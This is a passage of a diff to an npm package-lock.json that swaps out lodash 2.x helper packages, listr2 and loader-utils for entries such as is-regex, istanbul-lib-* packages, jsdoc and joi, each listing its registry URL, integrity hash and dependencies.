++ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
++ "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+ "requires": {
+- "uc.micro": "^1.0.1"
++ "call-bind": "^1.0.2",
++ "has-tostringtag": "^1.0.0"
+ }
+ },
+- "list-item": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/list-item/-/list-item-1.1.1.tgz",
+- "integrity": "sha1-DGXQDih8tmPMs8s4Sad+iewmilY=",
++ "is-relative": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz",
++ "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==",
+ "dev": true,
+ "requires": {
+- "expand-range": "^1.8.1",
+- "extend-shallow": "^2.0.1",
+- "is-number": "^2.1.0",
+- "repeat-string": "^1.5.2"
++ "is-unc-path": "^1.0.0"
+ }
+ },
+- "listenercount": {
++ "is-shallow-equal": {
+ "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz",
+- "integrity": "sha1-hMinKrWcRyUyFIDJdeZQg0LnCTc="
++ "resolved": "https://registry.npmjs.org/is-shallow-equal/-/is-shallow-equal-1.0.1.tgz",
++ "integrity": "sha512-lq5RvK+85Hs5J3p4oA4256M1FEffzmI533ikeDHvJd42nouRRx5wBzt36JuviiGe5dIPyHON/d0/Up+PBo6XkQ=="
+ },
+- "listr2": {
+- "version": "3.14.0",
+- "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.14.0.tgz",
+- "integrity": "sha512-TyWI8G99GX9GjE54cJ+RrNMcIFBfwMPxc3XTFiAYGN4s10hWROGtOg7+O6u6LE3mNkyld7RSLE6nrKBvTfcs3g==",
+- "dev": true,
++ "is-shared-array-buffer": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz",
++ "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA=="
++ },
++ "is-stream": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
++ "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="
++ },
++ "is-stream-ended": {
++ "version": "0.1.4",
++ "resolved": "https://registry.npmjs.org/is-stream-ended/-/is-stream-ended-0.1.4.tgz",
++ "integrity": "sha512-xj0XPvmr7bQFTvirqnFr50o0hQIh6ZItDqloxt5aJrR4NQsYeSsyFQERYGCAzfindAcnKjINnwEEgLx4IqVzQw=="
++ },
++ "is-string": {
++ "version": "1.0.7",
++ "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
++ "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+ "requires": {
+- "cli-truncate": "^2.1.0",
+- "colorette": "^2.0.16",
+- "log-update": "^4.0.0",
+- "p-map": "^4.0.0",
+- "rfdc": "^1.3.0",
+- "rxjs": "^7.5.1",
+- "through": "^2.3.8",
+- "wrap-ansi": "^7.0.0"
+- },
+- "dependencies": {
+- "colorette": {
+- "version": "2.0.16",
+- "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz",
+- "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==",
+- "dev": true
+- }
++ "has-tostringtag": "^1.0.0"
+ }
+ },
+- "load-script": {
++ "is-subset": {
++ "version": "0.1.1",
++ "resolved": "https://registry.npmjs.org/is-subset/-/is-subset-0.1.1.tgz",
++ "integrity": "sha1-ilkRfZMt4d4A8kX83TnOQ/HpOaY=",
++ "dev": true
++ },
++ "is-symbol": {
++ "version": "1.0.4",
++ "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
++ "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
++ "requires": {
++ "has-symbols": "^1.0.2"
++ }
++ },
++ "is-typedarray": {
+ "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/load-script/-/load-script-1.0.0.tgz",
+- "integrity": "sha1-BJGTngvuVkPuSUp+PaPSuscMbKQ="
++ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
++ "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
+ },
+- "loader-runner": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz",
+- "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw=="
++ "is-unc-path": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz",
++ "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==",
++ "dev": true,
++ "requires": {
++ "unc-path-regex": "^0.1.2"
++ }
+ },
+- "loader-utils": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz",
+- "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==",
++ "is-unicode-supported": {
++ "version": "0.1.0",
++ "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz",
++ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==",
++ "dev": true
++ },
++ "is-utf8": {
++ "version": "0.2.1",
++ "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz",
++ "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=",
++ "dev": true
++ },
++ "is-valid-glob": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz",
++ "integrity": "sha1-Kb8+/3Ab4tTTFdusw5vDn+j2Aao=",
++ "dev": true
++ },
++ "is-weakref": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
++ "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+ "requires": {
+- "big.js": "^5.2.2",
+- "emojis-list": "^3.0.0",
+- "json5": "^2.1.2"
+- },
+- "dependencies": {
+- "big.js": {
+- "version": "5.2.2",
+- "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+- "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
+- }
++ "call-bind": "^1.0.2"
+ }
+ },
+- "locate-path": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+- "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
++ "is-what": {
++ "version": "3.14.1",
++ "resolved": "https://registry.npmjs.org/is-what/-/is-what-3.14.1.tgz",
++ "integrity": "sha512-sNxgpk9793nzSs7bA6JQJGeIuRBQhAaNGG77kzYQgMkrID+lS6SlK07K5LaptscDlSaIgH+GPFzf+d75FVxozA==",
++ "dev": true
++ },
++ "is-windows": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
++ "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
++ "dev": true
++ },
++ "is-wsl": {
++ "version": "2.2.0",
++ "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
++ "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+ "requires": {
+- "p-locate": "^5.0.0"
++ "is-docker": "^2.0.0"
+ }
+ },
+- "lockfile": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/lockfile/-/lockfile-1.0.4.tgz",
+- "integrity": "sha512-cvbTwETRfsFh4nHsL1eGWapU1XFi5Ot9E85sWAwia7Y7EgB7vfqcZhTKZ+l7hCGxSPoushMv5GKhT5PdLv03WA==",
++ "isarray": {
++ "version": "2.0.5",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
++ "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="
++ },
++ "isbinaryfile": {
++ "version": "4.0.8",
++ "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.8.tgz",
++ "integrity": "sha512-53h6XFniq77YdW+spoRrebh0mnmTxRPTlcuIArO57lmMdq4uBKFKaeTjnb92oYWrSn/LVL+LT+Hap2tFQj8V+w==",
++ "dev": true
++ },
++ "isexe": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
++ "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA="
++ },
++ "isobject": {
++ "version": "3.0.1",
++ "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
++ "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
++ "dev": true
++ },
++ "isomorphic-unfetch": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/isomorphic-unfetch/-/isomorphic-unfetch-3.1.0.tgz",
++ "integrity": "sha512-geDJjpoZ8N0kWexiwkX8F9NkTsXhetLPVbZFQ+JTW239QNOwvB0gniuR1Wc6f0AMTn7/mFGyXvHTifrCp/GH8Q==",
+ "requires": {
+- "signal-exit": "^3.0.2"
++ "node-fetch": "^2.6.1",
++ "unfetch": "^4.2.0"
+ }
+ },
+- "lodash": {
+- "version": "4.17.21",
+- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+- "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
++ "isstream": {
++ "version": "0.1.2",
++ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
++ "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
+ },
+- "lodash-es": {
+- "version": "4.17.21",
+- "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz",
+- "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw=="
++ "istanbul-lib-coverage": {
++ "version": "3.2.0",
++ "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
++ "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==",
++ "dev": true
+ },
+- "lodash._arraypool": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._arraypool/-/lodash._arraypool-2.4.1.tgz",
+- "integrity": "sha1-6I7suS4ruEyQZWEv2VigcZzUf5Q="
++ "istanbul-lib-hook": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz",
++ "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==",
++ "dev": true,
++ "requires": {
++ "append-transform": "^2.0.0"
++ }
+ },
+- "lodash._basebind": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basebind/-/lodash._basebind-2.4.1.tgz",
+- "integrity": "sha1-6UC5690nwyfgqNqxtVkWxTQelXU=",
++ "istanbul-lib-instrument": {
++ "version": "4.0.3",
++ "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz",
++ "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==",
++ "dev": true,
+ "requires": {
+- "lodash._basecreate": "~2.4.1",
+- "lodash._setbinddata": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
++ "@babel/core": "^7.7.5",
++ "@istanbuljs/schema": "^0.1.2",
++ "istanbul-lib-coverage": "^3.0.0",
++ "semver": "^6.3.0"
+ }
+ },
+- "lodash._baseclone": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._baseclone/-/lodash._baseclone-2.4.1.tgz",
+- "integrity": "sha1-MPgj5X4X43NdODvWK2Czh1Q7QYY=",
++ "istanbul-lib-processinfo": {
++ "version": "2.0.2",
++ "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.2.tgz",
++ "integrity": "sha512-kOwpa7z9hme+IBPZMzQ5vdQj8srYgAtaRqeI48NGmAQ+/5yKiHLV0QbYqQpxsdEF0+w14SoB8YbnHKcXE2KnYw==",
++ "dev": true,
+ "requires": {
+- "lodash._getarray": "~2.4.1",
+- "lodash._releasearray": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.assign": "~2.4.1",
+- "lodash.foreach": "~2.4.1",
+- "lodash.forown": "~2.4.1",
+- "lodash.isarray": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
++ "archy": "^1.0.0",
++ "cross-spawn": "^7.0.0",
++ "istanbul-lib-coverage": "^3.0.0-alpha.1",
++ "make-dir": "^3.0.0",
++ "p-map": "^3.0.0",
++ "rimraf": "^3.0.0",
++ "uuid": "^3.3.3"
++ },
++ "dependencies": {
++ "make-dir": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
++ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
++ "dev": true,
++ "requires": {
++ "semver": "^6.0.0"
++ }
++ },
++ "p-map": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
++ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
++ "dev": true,
++ "requires": {
++ "aggregate-error": "^3.0.0"
++ }
++ },
++ "rimraf": {
++ "version": "3.0.2",
++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
++ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
++ "dev": true,
++ "requires": {
++ "glob": "^7.1.3"
++ }
++ }
+ }
+ },
+- "lodash._basecreate": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-2.4.1.tgz",
+- "integrity": "sha1-+Ob1tXip405UEXm1a47uv0oofgg=",
++ "istanbul-lib-report": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
++ "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
++ "dev": true,
+ "requires": {
+- "lodash._isnative": "~2.4.1",
+- "lodash.isobject": "~2.4.1",
+- "lodash.noop": "~2.4.1"
++ "istanbul-lib-coverage": "^3.0.0",
++ "make-dir": "^3.0.0",
++ "supports-color": "^7.1.0"
++ },
++ "dependencies": {
++ "make-dir": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
++ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
++ "dev": true,
++ "requires": {
++ "semver": "^6.0.0"
++ }
++ },
++ "supports-color": {
++ "version": "7.2.0",
++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
++ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
++ "dev": true,
++ "requires": {
++ "has-flag": "^4.0.0"
++ }
++ }
+ }
+ },
+- "lodash._basecreatecallback": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basecreatecallback/-/lodash._basecreatecallback-2.4.1.tgz",
+- "integrity": "sha1-fQsmdknLKeehOdAQO3wR+uhOSFE=",
++ "istanbul-lib-source-maps": {
++ "version": "4.0.1",
++ "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
++ "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
++ "dev": true,
+ "requires": {
+- "lodash._setbinddata": "~2.4.1",
+- "lodash.bind": "~2.4.1",
+- "lodash.identity": "~2.4.1",
+- "lodash.support": "~2.4.1"
++ "debug": "^4.1.1",
++ "istanbul-lib-coverage": "^3.0.0",
++ "source-map": "^0.6.1"
++ },
++ "dependencies": {
++ "source-map": {
++ "version": "0.6.1",
++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
++ "dev": true
++ }
+ }
+ },
+- "lodash._basecreatewrapper": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basecreatewrapper/-/lodash._basecreatewrapper-2.4.1.tgz",
+- "integrity": "sha1-TTHy595+E0+/KAN2K4FQsyUZZm8=",
++ "istanbul-reports": {
++ "version": "3.1.3",
++ "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.3.tgz",
++ "integrity": "sha512-x9LtDVtfm/t1GFiLl3NffC7hz+I1ragvgX1P/Lg1NlIagifZDKUkuuaAxH/qpwj2IuEfD8G2Bs/UKp+sZ/pKkg==",
++ "dev": true,
+ "requires": {
+- "lodash._basecreate": "~2.4.1",
+- "lodash._setbinddata": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
++ "html-escaper": "^2.0.0",
++ "istanbul-lib-report": "^3.0.0"
+ }
+ },
+- "lodash._createwrapper": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._createwrapper/-/lodash._createwrapper-2.4.1.tgz",
+- "integrity": "sha1-UdaVeXPaTtVW43KQ2MGhjFPeFgc=",
++ "jest-worker": {
++ "version": "27.5.1",
++ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
++ "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+ "requires": {
+- "lodash._basebind": "~2.4.1",
+- "lodash._basecreatewrapper": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.isfunction": "~2.4.1"
++ "@types/node": "*",
++ "merge-stream": "^2.0.0",
++ "supports-color": "^8.0.0"
+ }
+ },
+- "lodash._getarray": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._getarray/-/lodash._getarray-2.4.1.tgz",
+- "integrity": "sha1-+vH3+BD6mFolHCGHQESBCUg55e4=",
++ "jmespath": {
++ "version": "0.16.0",
++ "resolved": "https://registry.npmjs.org/jmespath/-/jmespath-0.16.0.tgz",
++ "integrity": "sha512-9FzQjJ7MATs1tSpnco1K6ayiYE3figslrXA72G2HQ/n76RzvYlofyi5QM+iX4YRs/pu3yzxlVQSST23+dMDknw=="
++ },
++ "joi": {
++ "version": "17.6.0",
++ "resolved": "https://registry.npmjs.org/joi/-/joi-17.6.0.tgz",
++ "integrity": "sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw==",
+ "requires": {
+- "lodash._arraypool": "~2.4.1"
++ "@hapi/hoek": "^9.0.0",
++ "@hapi/topo": "^5.0.0",
++ "@sideway/address": "^4.1.3",
++ "@sideway/formula": "^3.0.0",
++ "@sideway/pinpoint": "^2.0.0"
++ },
++ "dependencies": {
++ "@hapi/hoek": {
++ "version": "9.2.1",
++ "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.2.1.tgz",
++ "integrity": "sha512-gfta+H8aziZsm8pZa0vj04KO6biEiisppNgA1kbJvFrrWu9Vm7eaUEy76DIxsuTaWvti5fkJVhllWc6ZTE+Mdw=="
++ }
+ }
+ },
+- "lodash._isnative": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._isnative/-/lodash._isnative-2.4.1.tgz",
+- "integrity": "sha1-PqZAS3hKe+g2x7V1gOHN95sUgyw="
++ "jose": {
++ "version": "4.6.0",
++ "resolved": "https://registry.npmjs.org/jose/-/jose-4.6.0.tgz",
++ "integrity": "sha512-0hNAkhMBNi4soKSAX4zYOFV+aqJlEz/4j4fregvasJzEVtjDChvWqRjPvHwLqr5hx28Ayr6bsOs1Kuj87V0O8w=="
+ },
+- "lodash._maxpoolsize": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._maxpoolsize/-/lodash._maxpoolsize-2.4.1.tgz",
+- "integrity": "sha1-nUgvRjuOZq++WcLBTtsRcGAXIzQ="
++ "jquery": {
++ "version": "2.2.4",
++ "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz",
++ "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI="
+ },
+- "lodash._objecttypes": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._objecttypes/-/lodash._objecttypes-2.4.1.tgz",
+- "integrity": "sha1-fAt/admKH3ZSn4kLDNsbTf7BHBE="
++ "js-stringify": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz",
++ "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds="
+ },
+- "lodash._reinterpolate": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz",
+- "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=",
+- "dev": true
++ "js-tokens": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
++ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+ },
+- "lodash._releasearray": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._releasearray/-/lodash._releasearray-2.4.1.tgz",
+- "integrity": "sha1-phOWMNdtFTawfdyAliiJsIL2pkE=",
++ "js-yaml": {
++ "version": "4.1.0",
++ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
++ "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
++ "dev": true,
++ "requires": {
++ "argparse": "^2.0.1"
++ }
++ },
++ "js2xmlparser": {
++ "version": "4.0.2",
++ "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz",
++ "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==",
++ "dev": true,
++ "requires": {
++ "xmlcreate": "^2.0.4"
++ }
++ },
++ "jsbn": {
++ "version": "0.1.1",
++ "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
++ "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM="
++ },
++ "jsdoc": {
++ "version": "3.6.10",
++ "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.10.tgz",
++ "integrity": "sha512-IdQ8ppSo5LKZ9o3M+LKIIK8i00DIe5msDvG3G81Km+1dhy0XrOWD0Ji8H61ElgyEj/O9KRLokgKbAM9XX9CJAg==",
++ "dev": true,
+ "requires": {
+- "lodash._arraypool": "~2.4.1",
+- "lodash._maxpoolsize": "~2.4.1"
++ "@babel/parser": "^7.9.4",
++ "@types/markdown-it": "^12.2.3",
++ "bluebird": "^3.7.2",
++ "catharsis": "^0.9.0",
++ "escape-string-regexp": "^2.0.0",
++ "js2xmlparser": "^4.0.2",
++ "klaw": "^4.0.1",
++ "markdown-it": "^12.3.2",
++ "markdown-it-anchor": "^8.4.1",
++ "marked": "^4.0.10",
++ "mkdirp": "^1.0.4",
++ "requizzle": "^0.2.3",
++ "strip-json-comments": "^3.1.0",
++ "taffydb": "2.6.2",
++ "underscore": "~1.13.2"
++ },
++ "dependencies": {
++ "escape-string-regexp": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
++ "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
++ "dev": true
++ },
++ "mkdirp": {
++ "version": "1.0.4",
++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
++ "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
++ "dev": true
++ }
+ }
+ },
+- "lodash._setbinddata": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._setbinddata/-/lodash._setbinddata-2.4.1.tgz",
+- "integrity": "sha1-98IAzRuS7yNrOZ7s9zxkjReqlNI=",
++ "jsdoc-api": {
++ "version": "7.1.1",
++ "resolved": "https://registry.npmjs.org/jsdoc-api/-/jsdoc-api-7.1.1.tgz",
++ "integrity": "sha512-0pkuPCzVXiqsDAsVrNFXCkHzlyNepBIDVtwwehry4RJAnZmXtlAz7rh8F9FRz53u3NeynGbex+bpYWwi8lE66A==",
++ "dev": true,
+ "requires": {
+- "lodash._isnative": "~2.4.1",
+- "lodash.noop": "~2.4.1"
++ "array-back": "^6.2.2",
++ "cache-point": "^2.0.0",
++ "collect-all": "^1.0.4",
++ "file-set": "^4.0.2",
++ "fs-then-native": "^2.0.0",
++ "jsdoc": "^3.6.10",
++ "object-to-spawn-args": "^2.0.1",
++ "temp-path": "^1.0.0",
++ "walk-back": "^5.1.0"
+ }
+ },
+- "lodash._shimkeys": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._shimkeys/-/lodash._shimkeys-2.4.1.tgz",
+- "integrity": "sha1-bpzJZm/wgfC1psl4uD4kLmlJ0gM=",
++ "jsdoc-parse": {
++ "version": "6.1.0",
++ "resolved": "https://registry.npmjs.org/jsdoc-parse/-/jsdoc-parse-6.1.0.tgz",
++ "integrity": "sha512-n/hDGQJa69IBun1yZAjqzV4gVR41+flZ3bIlm9fKvNe2Xjsd1/+zCo2+R9ls8LxtePgIWbpA1jU7xkB2lRdLLg==",
++ "dev": true,
+ "requires": {
+- "lodash._objecttypes": "~2.4.1"
